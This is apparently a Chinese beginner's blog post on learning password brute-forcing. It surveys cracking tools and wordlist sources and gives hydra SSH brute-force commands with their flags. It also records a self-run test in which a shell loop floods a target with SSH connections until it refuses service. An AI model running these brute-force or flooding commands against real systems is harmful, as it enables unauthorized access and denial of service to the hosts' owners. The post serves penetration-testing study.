【技术分享】密码爆破学习实践

文章目录

    • 一 、引言
    • 二、 密码爆破工具的调研以及介绍:
    • 三、如何收集密码字典:
      • 1. 主要获取方式
      • 2. 好的密码字典项目分享
      • 3、 思考
    • 四、如何自制密码字典:
      • 1. 使用密码生成工具
      • 2. 自制密码生成脚本:
    • 五、 hydra 操作命令学习
    • 六、记录一次爆破实践 + ssh尝试拒绝服务攻击

一 、引言

在扫描探测任务中, 经常会遇到一些开放的高危 端口, 这个时候,会忍不住想爆破一把试试, 期待好运降临, 万一爆破成功了呢?

笔者作为一个安全初学者, 主要关注以下几点:

  • 当前网络上有哪些好的密码爆破工具,各自的优缺点是啥?
  • 密码爆破的核心在于有一个强大的密码字典, 如何可以收集到密码字典 ?
  • 如何自己生成一个好的密码字典?
  • 如何提高密码爆破的效率和概率?(待深入研究)
  • 介绍一下密码爆破的实际操作命令以及技巧

二、 密码爆破工具的调研以及介绍:

  • hydra: 这款密码爆破工具功能非常强大,支持的协议非常之多,比如常见的rdp、ssh、FTP、smb等, 本文主要介绍这种爆破工具的使用

  • Brutus:称最快最灵活对的密码破解工具,最早发布于2000年的Brutus是目前最流行的远程在线密码破解工具,目前该工具免费,但只有windows版本

  • RainbowCrack: RainbowCrack是一个哈希破解工具,无需自己生成彩虹表。

  • Wfuzz:Wfuzz是一个web应用密码暴力破解工具。

  • Cain and Abel : Cain and Abel是注明的多任务密码破解工具。值得注意的是该工具仅能运行于Windows平台,可以作为网络嗅探器使用,用字典攻击破解加密密码,记录VoIP对话,暴力攻击、密码分析攻击,恢复缓存密码和乱序密码等。

  • OphCrack: 是Windows平台上一个免费的基于彩虹表的密码破解工具,也是最流行的windows密码破解工具,也可以应用于Linux和Mac系统,能够破解LM和NTLM哈希表。

三、如何收集密码字典:

1. 主要获取方式

学习过程中, 主要获取密码字典的方式如下

  • 对于密码字典, 推荐在github上寻找, 直接百度谷歌的, 要么比较凌乱,要么字典需要收费。

  • Kali 系统自带字典目录wordlists,路径为 /usr/share/wordlists/ , 可以了解并使用。

  • 自制密码字典

2. 好的密码字典项目分享

  • 在github上找到几个信息比较丰富的密码字典如下, 仅供参考
    资源:

一、 https://github.com/huyuanzhi2/password_brute_dictionary

【技术分享】密码爆破学习实践_第1张图片

  小结: 
1. 这个项目中提供的密码字典的量级不多, 但是提供了一个自制密码的思路以及可以直接使用的密码列表,可以用作密码爆破的小试牛刀。 
2. 包含项目作者自制字典的代码

二. https://github.com/rootphantomer/Blasting_dictionary

【技术分享】密码爆破学习实践_第2张图片

小结:

1. 这个项目中密码字典数量多,而且分类也比较充足,推荐使用

三 . https://github.com/TheKingOfDuck/fuzzDicts

【技术分享】密码爆破学习实践_第3张图片

小结:

其中包含各种爆破资源, 内容齐全, 对于密码爆破的字典也很优秀。 

3、 思考

其实,想一想也明白:

  • 密码爆破有可能无功而返。密码字典再多么强大, 要想直接爆破出密码也不是那么容易的, 如果被攻击者机器设置的密码不在自己的密码列表中, 在怎么爆破也是没有效果。
  • 但是弱密码爆破也有一定的作用。 例如,安全意识不强的人, 容易直接保留初始密码或者直接使用弱密码, 这样被爆破成功的概率还是挺高的
  • 渗透测试过程中, 如果获取了大量的账号信息, 可以使用弱口令进行爆破, 成功率较高。
  • 对于特定的场景,可以自己生成密码字典。 结合自己设置密码的经历, 可以推测一般人设置密码的规则是容易自己记住的字符串的组合, 可能会加入一些特殊字符。 那么根据常用的字符串进行组合(自己定义规则), 生成一套密码字典,也是不错的方法

四、如何自制密码字典:

1. 使用密码生成工具

  • Weakpass是一款基于规则的在线字典生成器 ,可以帮助广大研究人员根据输入的单词集来创建自定义字典

    项目地址:

https://github.com/zzzteph/weakpass

【技术分享】密码爆破学习实践_第4张图片

介绍: 介绍: 这个密码生成的平台, 可以根据已知的关键字定向的生成一些密码, 符合用户设置密码的习惯。 这种策略生成的密码,命中的概率可能会高一些。

  • crunch–字典生成工具: Crunch是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活的制定自己的字典文件

破解密码时,有很多种破解密码的方法,比如:字典,彩虹表,蛮力等。如果我们知道设置密码的策略,那么使用Crunch生成特定的字典,那么Crunch将会是最有力的密码攻击工具。

github地址:

https://github.com/crunchsec/crunch https://github.com/jaalto/external-sf--crunch-wordlist

主要参考文章。

https://www.cnblogs.com/wpjamer/p/9913380.html

网络上介绍的资源也比较多, 自己暂时还没有仔细实践过, 后续有需求会生成密码列表尝试一下。

2. 自制密码生成脚本:

网络上也能搜索到一些使用python脚本自制密码的思路和工具, 其中有一个比较好,印象深刻, 分享一下:

https://zhuanlan.zhihu.com/p/61354645


五、 hydra 操作命令学习

这里主要介绍一下ssh的爆破操作, 其他协议的爆破可在网络上查找。

爆破命令

hydra 1.1.1.1 ssh -l user -P /root/Work/sshpasswd.list -t 6 -V -f
hydra -l root -P top6000.txt -t 10 -vV -e ns 1.1.1.1 ssh

命令详细:

攻击目标:1.1.1.1
使用的模块:ssh
爆破用户名:user (-l)
使用的密码字典:/root/Work/sshpasswd.list (-P)
爆破线程数:6 (-t)
显示详细信息 (-V)
爆破成功一个后停止 (-f)
空密码探测和指定用户密码探测(-e ns)

六、记录一次爆破实践 + ssh尝试拒绝服务攻击

  • 不知有没有人遇到和我一样的情况,自己设定一个靶机, 爆破22端口ssh, 即使把正确密码放到字典列表中, 也会有可能爆破失败, 也只是概率性的成功(正确密码在列表第一个位置除外)。个人猜测, 这可能是ssh的配置起了作用, 在密码爆破时候,会限制用户登录。

  • 思考: 基于上面的现象, 是否可以对暴露22端口的ip进行攻击, 大量尝试ssh连接受害机器, 这样是否可以造成拒绝服务访问呢?基于这个思考, 做了一次攻击试验,攻击代码如下:

    while true;do  ssh 1.1.1.1 &  echo 'hello ssh!';done
    

其中1.1.1.1 为被攻击机器。

攻击机打印日志如下(打印速度较快):

Pseudo-terminal will not be allocated because stdin is not a terminal.
Pseudo-terminal will not be allocated because stdin is not a terminal.
Pseudo-terminal will not be allocated because stdin is not a terminal.
Pseudo-terminal will not be allocated because stdin is not a terminal.
kex_exchange_identification: Connection closed by remote host
kex_exchange_identification: Connection closed by remote host
kex_exchange_identification: Connection closed by remote host
Pseudo-terminal will not be allocated because stdin is not a terminal.

尝试连接被攻击机, 结果发现连接目标失败, 造成了拒绝服务访问攻击。

ssh 1.1.1.1

ssh_exchange_identification: Connection closed by remote host

结论:

  • 从试验结果来看, 尝试攻击,确实是可以造成ssh拒绝服务访问的.
  • 不过杀敌一千自损八百, 攻击机的资源占用也很高。

笔者对于密码爆破技能的学习还处于初步阶段, 对于相关技能以及背后的技术原理将会继续探究。

你可能感兴趣的:(计算机安全,安全,学习,web安全)